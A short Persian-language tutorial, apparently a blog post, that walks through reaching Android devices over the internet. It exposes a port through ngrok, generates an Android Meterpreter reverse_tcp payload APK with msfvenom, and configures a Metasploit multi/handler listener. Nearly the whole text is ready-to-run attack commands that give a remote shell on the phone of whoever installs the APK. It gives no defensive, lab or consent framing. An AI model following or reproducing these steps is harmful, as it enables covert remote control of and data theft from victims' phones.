سلام امروز میخوام بهتون یاد بدم که چطوری می تونید از reverse tcp از راه دور و با ایپی عمومی استفاده کنید

اول همه ngrok دانلود کنید و در سایتش اکانت بسازید 

فایل ngrok.exe رو استخراج کنید

به لینک زیر کلیک کنید و کد token خودتون رو کپی کنید

به جایی که فایل رو استخراخ کردید برید و یه ترمینال باز کنید 

ngrok authtoken <authkey>

و دستور بالا رو با token اجرا کنید

و برای باز کردن یک پورت به صورت پابلیک بنویسید 

ngrok tcp <port>

و حالا بصورت زیر پیلود رو برای اندروید بسازید

msfvenom -p android/meterpreter/reverse_tcp LHOST=<payload ip> LPORT=<payload port> R > android-shell-darmy.apk

حالا میریم روی قسمت listener 

use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST localhost

برای lhost اینجا می نویسیم localhost تا اطلاعات پیلود برای localhost ارسال بشه

set LPORT port

به جای پورت هر پورتی که برنامه ngrok جلوی لوکال هاست زده وارد کنید

و در بایان اجرا کنید